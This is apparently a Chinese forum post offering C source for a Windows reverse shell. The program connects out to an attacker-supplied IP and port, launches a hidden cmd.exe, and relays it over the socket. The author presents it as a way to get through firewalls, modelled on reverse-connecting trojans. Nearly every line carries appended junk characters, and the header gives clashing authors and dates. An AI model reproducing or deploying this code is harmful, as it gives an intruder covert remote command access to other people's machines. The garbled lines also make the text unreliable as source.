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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 XBmAD!  
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/* ============================== l{2Y[&%  
Rebound port in Windows NT nn1T5;  
By wind,2006/7 K KCzq |  
===============================*/ M6j!_0j  
#include #835 $vOe  
#include y<h~jz#hkq  
h@^d Vg  
#pragma comment(lib,"wsock32.lib") PsV1btq]  
FC +}gJ(q  
void OutputShell(); hB !>*AsG  
SOCKET sClient; q JdC5z\[  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; c=^A3[AM  
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void main(int argc,char **argv) y3,'1^lA  
{ PQ#zF&gL9t  
WSADATA stWsaData; k|r+/gIV  
int nRet; )zKZ<;#y  
SOCKADDR_IN stSaiClient,stSaiServer; gf&\)"  
;RElG>#$  
if(argc != 3) u>K(m))5W3  
{ 4U;Zs3  
printf("Useage:\n\rRebound DestIP DestPort\n"); kT=KxS{  
return; qubyZ8hx  
} y|+n77[Gv  
~8j4IO(  
WSAStartup(MAKEWORD(2,2),&stWsaData); e2}5< 7  
odm!}stus  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ri]"a?Rm  
; xz}]@]Ar  
stSaiClient.sin_family = AF_INET; cD6T4  
stSaiClient.sin_port = htons(0); %xJ6t 5.-  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); H2cY},  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) (L2:|1P)  
{ >$g+Gx\v4  
printf("Bind Socket Failed!\n"); g.V{CJ*V  
return; Gy3t   
} /_?y]Ly[r  
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stSaiServer.sin_family = AF_INET; ]9 ArT$  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Mq#sSBE<K  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Cb1fTl%  
Q&@~<!t  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;;Y>7Kn!u  
{ _'.YC<;  
printf("Connect Error!"); g?mfpwZj  
return; #cF ?a5  
} e=).0S`*F  
OutputShell(); 0o>l+c  
} NCKhrDd&  
8 etNS~^  
void OutputShell() _P:}]5-|  
{ /&eF,4  
char szBuff[1024]; x3QQ`w-  
SECURITY_ATTRIBUTES stSecurityAttributes; Xh[02iL-  
OSVERSIONINFO stOsversionInfo; O^_$cq  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; VOa7qnh4:[  
STARTUPINFO stStartupInfo; ?S~@Ea8/M  
char *szShell; $7'K]'UJXO  
PROCESS_INFORMATION stProcessInformation; ^=1:!'*3D  
unsigned long lBytesRead; [3~mil3rO  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Vlka+$4!  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); PIthv [F  
stSecurityAttributes.lpSecurityDescriptor = 0;  Bm\OH#  
stSecurityAttributes.bInheritHandle = TRUE; M#5*gWfq9  
T l%n|pc  
vp_$Ft-R  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); (U GmbRf&  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $&@etsW0/  
\qA^3L~;5  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Y;B#_}yF  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M6MtE_E  
stStartupInfo.wShowWindow = SW_HIDE; XVRtfo  
stStartupInfo.hStdInput = hReadPipe; 7k==?,LG3  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <8?jn*$;\  
MB#KLTwnT  
GetVersionEx(&stOsversionInfo); 9si,z  
flr&+=1?D  
switch(stOsversionInfo.dwPlatformId) &# w~S~  
{ ~=#jr0IZ  
case 1: ]ICBNJ  
szShell = "command.com"; J_tI]?jrU  
break; D,<#pNO_  
default: x#0B "{  
szShell = "cmd.exe"; %CaUC'  
break; *9?T?S|^$F  
} n@e[5f9?x  
B*,Qw_3dG  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /`x)B(b  
L(ni6-  
send(sClient,szMsg,77,0); $At,D.mGkb  
while(1) Ze:Y"49S+>  
{ OBBEsD/bc  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Q&;d7A.@  
if(lBytesRead) LqOjVQxz  
{ OD~TWT_  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); +P//p$pE  
send(sClient,szBuff,lBytesRead,0); Z9+xB"q2  
} J ;e/S6l  
else {W5D)  
{ HHMv%H]M  
lBytesRead=recv(sClient,szBuff,1024,0); J@4,@+X  
if(lBytesRead<=0) break; w-3 B~e  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); S$egsK"~  
} yS2[V,vS7  
} 320g!r  
~l@-gAyw  
return; qt !T%K  
}
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